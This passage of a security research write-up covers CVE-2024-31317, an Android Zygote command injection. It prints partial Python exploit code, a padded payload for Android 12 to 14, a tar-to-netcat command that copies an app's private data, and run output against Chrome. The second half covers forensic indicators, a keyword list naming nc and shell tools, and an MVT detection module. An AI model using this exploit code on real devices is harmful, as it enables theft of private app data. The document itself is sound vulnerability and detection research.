    (child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr)

    # Setting hidden_api_blacklist_exemptions with the payload
    p.stdin.write(str.encode("settings put global hidden_api_blacklist_exemptions \"$(cat /data/local/tmp/payload.txt)\""))

    # close process pipes
    p.stdin.close()
    p.wait()

    # post exploitation stuff so the phone "backs to normal.
    send_adb_command("adb shell settings put global hidden_api_blacklist_exemptions null")
    send_adb_command("adb shell am start -a android.settings.SETTINGS")
		
    # Delete payload from phone.
    send_adb_command("adb shell rm /data/local/tmp/payload.txt")

Extraction

Remember that extracting the directory has two parts: the first consists of making netcat listen on a port and redirect what arrives to a file. The second is triggering the vulnerability with the payload that contains the command to package the entire application directory and send it through netcat.

Since the listening part requires waiting for the connection to be established, we need to control that process and not close it before it completes its function. Additionally, we will delay the connection of the netcat command in the payload so that it waits three seconds before opening it, giving the listening process time to be ready.

Our solution looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def extract_app_dir(app):
    dir_to_extract = f"/data/data/{app}/"
    print(f"-> Extract {dir_to_extract} to {app}.tar")
    # tar the contents of the directory and pipe to netcat connection,
    # wait 3 seconds before connecting giving time for the server to come up
    command = f"tar --create --file=- {dir_to_extract} | nc -w 3 localhost 31337"
    payload = make_payload(app, command)
    # launch listen subrprocess with the server
    p = subprocess.Popen(f"adb shell nc -l -p 31337 > {app}.tar",shell=True)
    # exploit!
    exploit(payload)
    # wait for the listen process to end
    p.wait()
    print(f"-> Done extracting. Check {app}.tar")

Launch the exploit

Finally, we need to implement the part in which a user tells the exploit which application wants to extract.

1
2
3
4
5
6
7
8
9
10
import sys

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"usage: python {sys.argv[0]} [app to extract]")
        sys.exit(0)
    app = sys.argv[1]

    print("-> Trying to exploit CVE-2024-31317 (Zygote command injection).")
    extract_app_dir(app)

Putting it all together

If we put all the pieces of code found in this section together we will get a working exploit that extracts the directory of the application we tell it to. The output for com.android.chrome would look like this and we can check that the resulting .tar file contains all of the files in the directory /data/data/com.android.chrome:

$ python poc_1_wu.py com.android.chrome  
-> Trying to exploit CVE-2024-31317 (Zygote command injection).
-> Extract /data/data/com.android.chrome/ to com.android.chrome.tar
-> Done extracting. Check com.android.chrome.tar
$ tar tf com.android.chrome.tar  
data/data/com.android.chrome/
data/data/com.android.chrome/cache/
data/data/com.android.chrome/cache/Crashpad/
data/data/com.android.chrome/cache/Crashpad/new/
.... many files
.... many files
.... many files
.... many more files
$

  LOL, PWND!
But… so far our exploit only works on Android 11. Let’s see what we need to do to make it work on Android 12, 13 and 14.

-[ 0x08 Android > 11 ]-

Since Android 12, Zygote interprets commands differently. In addition to changes in the way they are processed, it introduces the NativeCommandBuffer class, which is in charge of handling the raw data. NativeCommandBuffer reads what system server sends, but does not pass the whole block to the function that processes the command: it cuts the buffer right where it ends. That is, if a command declares 8 arguments, it will read the number 8 and then eight more lines; that is what it delivers for execution and discards the rest. It then reads from the socket again and repeats the cycle.

In this scenario our exploit fails: the class would only read the command that modifies hidden_api_blacklist_exemptions and discard the injected command. We need, then, a mechanism that first writes the change to hidden_api_blacklist_exemptions and, on a second read, delivers the injected command. To do this it is useful to keep a few numbers in mind:

  1. NativeCommandBuffer attempts to read 12 200 bytes in one sip on Android 12. On Android 13 and 14 the size of the buffer goes up to 32 768 bytes.
  2. On system server there is a 8192 bytes write buffer which, each time it fills up, is pushed to the socket.

If we manage to locate the injected command starting at byte 8193 we have a chance that a second write from system server will cause a second read by Zygote. However, since Zygote reads more bytes than system server writes, the kernel could merge both writes before the first read, and we would be back to square one: the injected command would be discarded.

It takes time, and there is a way to buy it. Tom Hebb explains that, if we add a considerable number of commas to the end of the command, these are interpreted as “inputs” and system server converts them to line breaks (split()) via split(). That extra step slightly delays the second write, which increases the likelihood that the injected command will arrive on a second read from Zygote.

This trick alters the number of arguments that system server puts to the initial command. We can compensate for this by inserting line breaks (n) before the injected command to match the number of commas added at the end.

Finally, String.split() discards any empty string at the end, hence the “X ” that will close the list.

With all this we must keep an eye on two more restrictions:

After the exploit, the phone becomes unusable; deleting hidden_api_blacklist_exemptions doesn’t solve anything either. When system server sends a command, Zygote should respond with the PID of the app. If system server does not receive it, it cancels the open. In the exploit, there are loose bytes left in the socket that prevent completing that exchange. Hebb’s solution is to exceed the argument count of the injected command: we force Zygote to a third read that consumes the subsequent open and returns the expected PID. That is the key to persistence.

Tom Hebb thought of everything. His article - and Flanker017’s graphical explanation - is worth a careful read.


From paper to trial-and-error

In practice it took several days to adjust the values until a stable exploit was achieved. First we calculated the maximum number of commas we could add (the more the better). From there:

With those numbers, the payload for Android 12 + looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# system server BufferWriter size
bw_buffer_size = 8192

# zygote read buffer size
zygote_buffer_size = 12200

# len("9999\n--set-api-denylist-exemptions\n")
sade_len = 36

# bottom padding (comas + X)
bottom_padding = "," * (zygote_buffer_size - bw_buffer_size - len(payload) - 3) + "X"
print(f"-> Bottom padding len = {len(bottom_padding)}")

# top padding (saltos + 'A's)
top_padding = "\n" * len(bottom_padding) + "A" * (bw_buffer_size - sade_len - len(bottom_padding) + 1)
print(f"-> Top padding len = {len(top_padding) + sade_len}")

# ajustar el conteo de argumentos
payload = str(len(bottom_padding) + 10) + payload[4:]

# payload final
payload = top_padding + payload + bottom_padding

Although the size of the Zygote buffer varies on Android 13 and 14, Android 12 values work there as well.

We will not publish the full exploit; anyone who wants the code can write to us explaining their motivations.


Execution of the proof of concept

$ ./poc1.py
usage: python ./poc1.py [mode: exec | extract] [app to impersonate]
Modes:
  exec     executes a bash command
  extract  extracts entire directory of the app
App to impersonate:
  The full name of the app as in com.example.app

$ ./poc1.py extract com.android.chrome
-> Trying to exploit CVE-2024-31317 (Zygote command injection).
-> android version: 14
-> android SDK version: 34
-> android serial number: EMULATOR35X4X9X0
-> Extract /data/user/0/com.android.chrome/ to com.android.chrome.tar
-> Making payload for com.android.chrome on Android 14
-> command: tar --create --file=- /data/user/0/com.android.chrome/ | nc -w 3 localhost 31337
-> Got user ID: 10150
-> Bottom padding len = 3757
-> Top padding len = 8193
-> Copy payload to /data/local/tmp/payload.txt
-> Close settings app if open
-> Start adb shell
-> Set hidden_api_blacklist_exemptions global setting with the payload
-> Start Settings App to _move_ zygote
Starting: Intent { act=android.settings.SETTINGS }
-> Set hidden_api_blacklist_exemptions to null to avoid problems when rebooting the phone
-> Delete payload from phone.
-> Done extracting. Check com.android.chrome.tar

$ ls -al
total 6964
drwxr-xr-x 3 xxx xxx  4096 abr 22 16:04 .
drwxr-xr-x 5 xxx xxx  4096 abr 19 13:25 ..
-rw-r--r-- 1 xxx xxx 6923776 abr 22 16:04 com.android.chrome.tar
…

  We have achieved universal exploitation, and that makes us very happy :-).

It only remains to test it on real hardware… while someone brings the champagne to celebrate.

-[ 0x09 The paranoid android ]-

On hand we have a Samsung Galaxy A50 with Android 11 and patch level of January 1, 2022 (factory restored). We plugged in the device and tried the exploit to try to extract the Chrome folder, but… doesn’t work.

The first thing we notice is that the exploit “doesn’t terminate”, which probably means that the listening process doesn’t terminate either; everything points to a problem with the netcat connection.

Let’s go back to basics: use logwrapper to check the bug. We verify that the id command is executed with the Chrome user (UID = 10236):

130|a50:/ $ logcat | grep zYg0te
04-25 12:05:46.136 29364 29364 I echo : zYg0te uid=10236(u0_a236) gid=10236(u0_a236) groups=10236(u0_a236),1065(reserved_disk),3009(readproc) context=u:r:untrusted_app:s0:c236,c256,c512,c768

  Now let’s check if netcat throws any errors. We use logwrapper again, redirecting stderr to stdout so that the message is logged in logcat. We don’t raise another instance of netcat; we just look for the error:

/system/bin/logwrapper echo zYg0te $(nc 127.0.0.1 31337 2>&1) ; #

  In logcat shows:

04-25 12:09:28.165 30529 30529 I echo : zYg0te nc: socket 1 6: Permission denied

  Permission denied? Chrome, by default, has the necessary network permissions and in the emulator we never had this problem with any application.

Android manages permissions at several levels; the permission for network connections (android.permission.INTERNET) is enabled by assigning the process the group 3003 (inet) at the kernel level. The same mechanism is used, for example, for read or write permissions on the sdcard.

In the strace snapshot of Chrome opening we see that this happens in the arguments that system server sends to Zygote:

19
--runtime-args
--setuid=10128
--setgid=10128
…
--setgroups=3002,3003,3001,50128,20128,9997
…

  --setgroups=... assigns several groups to the process, including 3003 which enables network functions. This opens the possibility of adding that argument to our payload. However, there are two details:

  1. Adding an argument changes the argument count, and we must adjust the payload so as not to exceed the limits set above (both Android 11 and Android 12+).
  2. The argument is comma-separated; system server gives them special treatment that also affects the payload.

To avoid complications, we chose to include only the 3003 group, which is sufficient for netcat to work.

After updating the payload and trying logwrapper again, the message changes to a much more encouraging one:

04-25 13:01:19.038 32481 32481 I echo : zYg0te nc: connect: Connection refused

  In other words, the exploit regained the ability to establish network connections (the rejection is due to the fact that there was no counterpart listening). With that, the exploit is working again on the phone - now the champagne!

Why wasn’t this necessary in the emulator?

The answer is hidden between The Hitchhiker’s Guide to the Galaxy and a Radiohead song.

No kidding: Android is usually compiled with the ANDROID_PARANOID_NETWORK patch, which implements the group system for network permissions at the kernel level. Apparently, the emulator images do not include that patch. We can check it by checking /proc/config.gz. On the Samsung we see:

a50:/proc $ zcat config.gz | grep ANDROID_PARANOID
CONFIG_ANDROID_PARANOID_NETWORK=y
a50:/proc $

  In the emulator, however, it does not appear. Mystery solved.


-[ 0x0a Following the exploit trace ]-

Unlike typical forensic work in malware - where suspicious applications are usually analyzed - here we don’t have an APK to open. We hardly have any changes and logs that may be left in the system. We therefore prefer to concentrate on indicators that may appear in dumpsys, because they tend to be less volatile than logcat messages. We do not rule out other forensic artifacts, such as the variable and property lists generated by Androidqf, but many of them can also be obtained with dumpsys, as MVT does in its bugreports.&#x20 analysis module;

Parsing bugreports is essential: they can be generated directly from the phone without waiting for a full extraction with Androidqf. Since Android logs are purged quickly, capturing the report as soon as possible after an incident can make the difference between finding a useful trace… or none at all.

What are dumpsys and bugreport?

Preparation

  1. Restore the emulator (or phone) to its clean state with Wipe data in Android Studio.
  2. Generate a “clean” *bugreport using adb bugreport.
  3. Run the exploit (e.g., a data extraction).
  4. Create a second bugreport; it will be your “after” reference.

With both ZIPs ready, we can start the hunt.

Search for things

We know what we’re looking for, so we start with a list of keywords related to the vulnerability and the system components involved (variable, services, user 2000, Zygote, system_server, etc.):

settings
hidden_api_blacklist_exemptions
hidden_api
blacklist
exemptions
chrome
zygote
system_server
adb
sh
shell
bash
invoke-with
uid=2000
nc

 

grep all the things !!!

Unzip the bugreport posterior to the exploit and, inside its directory, launch it:

grep -rai hidden_api_blacklist_exemptions *

 

For a specific file it is sufficient to replace * with its name, e.g.:

grep -ai hidden_api_blacklist_exemptions \
  bugreport-sdk_gphone64_x86_64-UE1A.230829.050-2025-05-05-17-46-34.txt

  Using grep with the other keywords we will find the different traces left by the exploit in the system.

-[ 0x0b Analyze the results to find IOCs ]-

For this experiment we did several extractions - on different versions of Android, some immediately after exploiting the vulnerability and some on intact systems. The outputs were not consistent: certain data appeared in one capture, disappeared in the next, or were lost after a few hours or days. Truly consistent information was scarce, so in order to detect the exploit with guarantees, the bugreport must be generated shortly after the incident.

Let’s see what happens when we filter only by exemptions the main file of any bugreport:

$ grep -ai "exemptions" \
  bugreport-sdk_gphone_x86-RSR1.240422.006-2025-05-11-14-13-33.txt
05-06 15:26:05.969  1000   520   569 E ZygoteProcess: Can't set API blacklist exemptions: no zygote connection
05-06 15:26:05.969  1000   520   569 E ActivityManager: Failed to set API blacklist exemptions!
05-06 15:26:06.005  1000   520   569 E ZygoteProcess: Failed to set API blacklist exemptions; status 5636
05-06 15:26:06.005  1000   520   569 E ZygoteProcess: Can't set API blacklist exemptions: no zygote connection
05-06 15:26:06.005  1000   520   569 E ActivityManager: Failed to set API blacklist exemptions!
  settings/global/hidden_api_blacklist_exemptions: pid=520 uid=1000 user=0 target=e95848b
_id:226 name:hidden_api_blacklist_exemptions pkg:com.android.shell value:{null}
1970-01-01 00:01:02 update hidden_api_blacklist_exemptions
1970-01-01 00:01:02 update hidden_api_blacklist_exemptions
$

 

Note that the lines are grouped in two blocks:

In particular:

_id:226 name:hidden_api_blacklist_exemptions pkg:com.android.shell value:{null}

 

Shows that com.android.shell was the last application to modify the variable, leaving it null, exactly what our exploit does. If you then run settings delete global hidden_api_blacklist_exemptions, the entry disappears or changes to delete: it is still traceable, but only detects our attack flow.

The two lines starting with 1970-01-01 00:01:02 update ... look like a history of changes. They sound perfect, but beware: that history only exists when the OS is compiled with the debug flag (i.e. in emulators or development builds). On production phones it is very unlikely to appear, so we discard it as a general IOC.

Digging in dumpsys activity starter.

Another solid clue lives in the Activity ‘ starter section:

android.settings processName=com.android.settings
    launchedFromUid=2000 launchedFromPackage=com.android.shell …

  The pair launchedFromUid=2000 / launchedFromPackage=com.android.shell gives away that the shell (user 2000) launched Settings, the nudge our exploit gives to get Zygote back in sync and the phone “normal”. We found this signature quite consistently on Android 11-14, both in emulators and on physical devices.

The full section can be extracted with:

adb shell dumpsys activity starter

 

We have weak indicators, but they are

  1. Errors in logcat on “API blacklist exemptions” (valid if the bugreport was generated fast).
  2. The hidden_api_blacklist_exemptions variable modified by com.android.shell in dumpsys settings (persists as long as the variable exists).
  3. launchedFromUid=2000 launchedFromPackage=com.android.shell in dumpsys activity starter, evidence that the shell launched an activity immediately after injection.

Not a perfect set, but, combined, they provide a clear sign that someone played with CVE-2024-31317.

-[ 0x0c MVT and our indicators }-

We wondered if we could do something with MVT to try to detect some of our flags. However, MVT has no modules that process logcat; the review of settings is done in Androidqf scans and these do not include the package that changed the value of the variable. There is also no module that parses the output of the Activities service in dumpsys to detect com.android.shell activity in that section.

Reviewing the source code, we saw that the simplest option for integrating our flags was in the Settings service of dumpsys: there we found the variable name, its current value and, crucially, the package that last modified it. That pkg field does not appear in the Androidqf extraction, but it does appear inside the bugreport.&#x20 ZIP;

How MVT organizes its scans

mvt-android has four modules: adb, androidqf, backup and bugreport, which are activated depending on the type of extraction. Each loads submodules that process specific artifacts (packages, permissions, settings, etc.) and compare the data with hard IOCs or with internal lists of “suspicious stuff”. For example, in Androidqf there is a submodule that reads packages.json-generated with pm-and checks it against malware names or root tools.

Limitations of the Settings artifact in Androidqf

The generic Settings artifact works like this:

  1. Androidqf reads system_settings.txt, secure_settings.txt and global_settings.txt.
  2. It extracts each variable and its value.
  3. An internal MVT dictionary defines secure values for some of them.
  4. If the extracted value differs from the safe one, MVT triggers an alert.

This works for variables like verifier_verify_adb_installs, but fails with hidden_api_blacklist_exemptions:

Plan: process Settings inside bugreport

If we want to detect that hidden_api_blacklist_exemptions was touched by com.android.shell, we need a submodule for the bugreport module that:

  1. Extract the DUMP OF SERVICE settings block from dumpsys.
  2. Convert each line _id:... name:... pkg:... value:... into a dictionary.
  3. Store the result by namespace (config, global, secure, system).
  4. Pass that data to an artifact that checks if any variables were modified by com.android.shell.

The artifact then produces output like:

WARNING [mvt] Found suspicious "global" setting "hidden_api_blacklist_exemptions = {null}" (was modified by com.android.shell)

 

PoC result

When running our module on a bugreport taken just after the exploit, MVT identifies the change and displays the above alert along with other variables altered by the shell. goal accomplished!

The complete proof-of-concept code, with instructions for reproducing it locally, is available in the repository: https://github.com/ZoqueLabs/mvt-bugreport-dumpsys-settings-poc.

In the next chapter we will explain, step by step, how to build this MVT module PoC.

-[ 0x0d Making a module for MVT-android ]-

For this proof of concept we will use MVT as a Python module; for now we will not make a fork. If the solution proves to be solid and useful, we can later propose it to the official repository via a pull-request.

In this section we won’t detail every line of code -it would be too long-, but we do explain clearly the development process and some technicalities for those who want to understand the inner workings of MVT (and, why not, contribute!). The complete code is at https://github.com/ZoqueLabs/mvt-bugreport-dumpsys-settings-poc.

Broadly speaking, our module follows this flow:

  1. Load a bugreport in MVT.
  2. Extract the dumpsys from that *bugreport.
  3. Take the Settings section of the dumpsys.
  4. Convert the raw data from that section into a dictionary.
  5. Analyze the dictionary for indicators of compromise.

Convert the raw data to a dictionary;

If we open a bugreport and search for “DUMP OF SERVICE settings: ” -or run adb shell dumpsys settings- we will see something similar:

DUMP OF SERVICE settings:
Unknown argument: -a; use -h for help

CONFIG SETTINGS (user 0)
_id:663 name:adservices/enable_tablet_region_fix pkg:com.google.android.gms value:false
_id:699 name:adservices/topics_disable_direct_app_calls pkg:com.google.android.gms value:true
…

GLOBAL SETTINGS (user 0)
_id:119 name:adb_wifi_enabled pkg:android value:0 default:0 defaultSystemSet:true
…

  Each block (CONFIG, GLOBAL, SYSTEM, SECURE) is separated by a double blank line. The individual lines follow the pattern _id:... name:... pkg:... value:.... Some values are long JSON, so it is not enough to divide by spaces and colons; the parser must be careful.

Artifact DumpsysSettingsArtifact

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from mvt.android.artifacts.artifact import AndroidArtifact
from mvt.android.artifacts.settings import ANDROID_DANGEROUS_SETTINGS

ANDROID_DANGEROUS_APPS = ['com.android.shell']

class DumpsysSettingsArtifact(AndroidArtifact):
    def check_indicators(self) -> None:
        for namespace, settings in self.results.items():
            for key, values in settings.items():
                for danger in ANDROID_DANGEROUS_SETTINGS:
                    if (danger["key"] == key and
                        danger["safe_value"] != values["value"]):
                        self.log.warning(
                            'Found suspicious "%s" setting "%s = %s" (%s)',
                            namespace, key, values["value"], danger["description"],
                        )
                      break
                if values['pkg'] in ANDROID_DANGEROUS_APPS:
                    self.log.warning(
                        'Found suspicious "%s" setting "%s = %s" '
                        '(was modified by %s)',
                        namespace, key, values['value'], values['pkg'],
                    )


    def parse(self, content: str) -> None:
        # Aquí va todo el procesamiento de los datos crudos

check_indicators() takes advantage of the ANDROID_DANGEROUS_SETTINGS list already provided by MVT and adds an extra check: it alerts if the pkg field of any variable matches com.android.shell.

Sub-module Settings for bugreport

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import logging
from dumpsys_settings_artifact import DumpsysSettingsArtifact
from mvt.android.modules.bugreport.base import BugReportModule

class Settings(DumpsysSettingsArtifact, BugReportModule):
    """Extracts and checks settings from bugreport."""

    def run(self) -> None:
        full_dumpsys = self._get_dumpstate_file()
        if not full_dumpsys:
            self.log.error("No se encontró dumpstate")
            return

        section = self.extract_dumpsys_section(
            full_dumpsys.decode("utf-8", "ignore"),
            "DUMP OF SERVICE settings:",
        )
        self.parse(section)

The class inherits from BugReportModule (for loading the bugreport) and from our artifact (for parsing and checks).

Run the module

run_module.py adds our sub-module to the list that runs mvt-android check-bugreport:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from mvt.android.cmd_check_bugreport import CmdAndroidCheckBugreport
from mvt.common.utils import set_verbose_logging
from bugreport_settings import Settings
import sys

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"usage: python3 {sys.argv[0]} [path to bugreport (dir or zip)]")
        sys.exit(1)

    bugreport_path = sys.argv[1]
    set_verbose_logging(False)

    cmd = CmdAndroidCheckBugreport(target_path=bugreport_path, hashes=True)
    cmd.modules.append(Settings)
    cmd.run()

When run on a bugreport generated right after the exploit, the output looks like this:

$ python3 run_module.py bugreport-sdk_gphone64_x86_64-UE1A.230829.050-2025-05-09-08-53-46.zip
21:41:55 INFO     [mvt.android.cmd_check_bugreport] Parsing STIX2 indicators file at path /.../...android_campaign_malware.stix2                       
         INFO     [mvt.android.cmd_check_bugreport] Parsing STIX2 indicators file at path /.../...indicators_main_2022-06-23_rcs_lab_rcs.stix2                                      
         INFO     [mvt.android.cmd_check_bugreport] Parsing STIX2 indicators file at path
				 mas informacion de mvt...
				 mas informacion de mvt...
				 mas informacion de mvt...
				 mas informacion de mvt...
		 INFO     [mvt] Running module Settings...                                                                                                                                    
21:41:59 INFO     [mvt] Found 1139 "config settings"                                                                                                                                  
         INFO     [mvt] Found 181 "global settings"                                                                                                                                   
         INFO     [mvt] Found 132 "secure settings"                                                                                                                                   
         INFO     [mvt] Found 36 "system settings"                                                                                                                                    
         INFO     [mvt] Identified a total of 4 sets of settings                                                                                                                      
         WARNING  [mvt] Found suspicious "global" setting "verifier_verify_adb_installs = 0" (disabled Google Play Services apps verification)                                        
         WARNING  [mvt] Found suspicious "global" setting "hidden_api_blacklist_exemptions = {null}" (was modified by com.android.shell)                                              
         WARNING  [mvt] Found suspicious "secure" setting "install_non_market_apps = 1" (enabled installation of non Google Play apps)                                                
         WARNING  [mvt] Found suspicious "system" setting "accelerometer_rotation = 1" (was modified by com.android.shell)                                                            
         WARNING  [mvt] Found suspicious "system" setting "screen_off_timeout = 2147483647" (was modified by com.android.shell)                                                       
         INFO     [mvt] The Settings module produced no detections!                                                                                                                   
         INFO      NOTE: Using MVT with public indicators of compromise (IOCs) WILL NOT automatically detect advanced attacks.

 

The module detects both variables with unsafe values and those modified by com.android.shell, including hidden_api_blacklist_exemptions. Objective accomplished.

For detailed usage instructions, see the README in the PoC repository.

-[ 0x0e That’s all, for now. ]-

If you made it this far, you’ve seen the whole journey: from bug anatomy in Zygote and exploit replication, to hunting for IOCs in logcat and dumpsys, and creating a module that makes MVT detect them on the fly. The result is a lightweight PoC that signals when hidden_api_blacklist_exemptions changes hands and the com.android.shell gets in the way, both in emulators and on real machines.

It remains to get it rolling in field scenarios, listen to feedback and fine-tune what’s needed before thinking about major integrations. Thanks for joining us; may the next indicator hunts be even more accurate.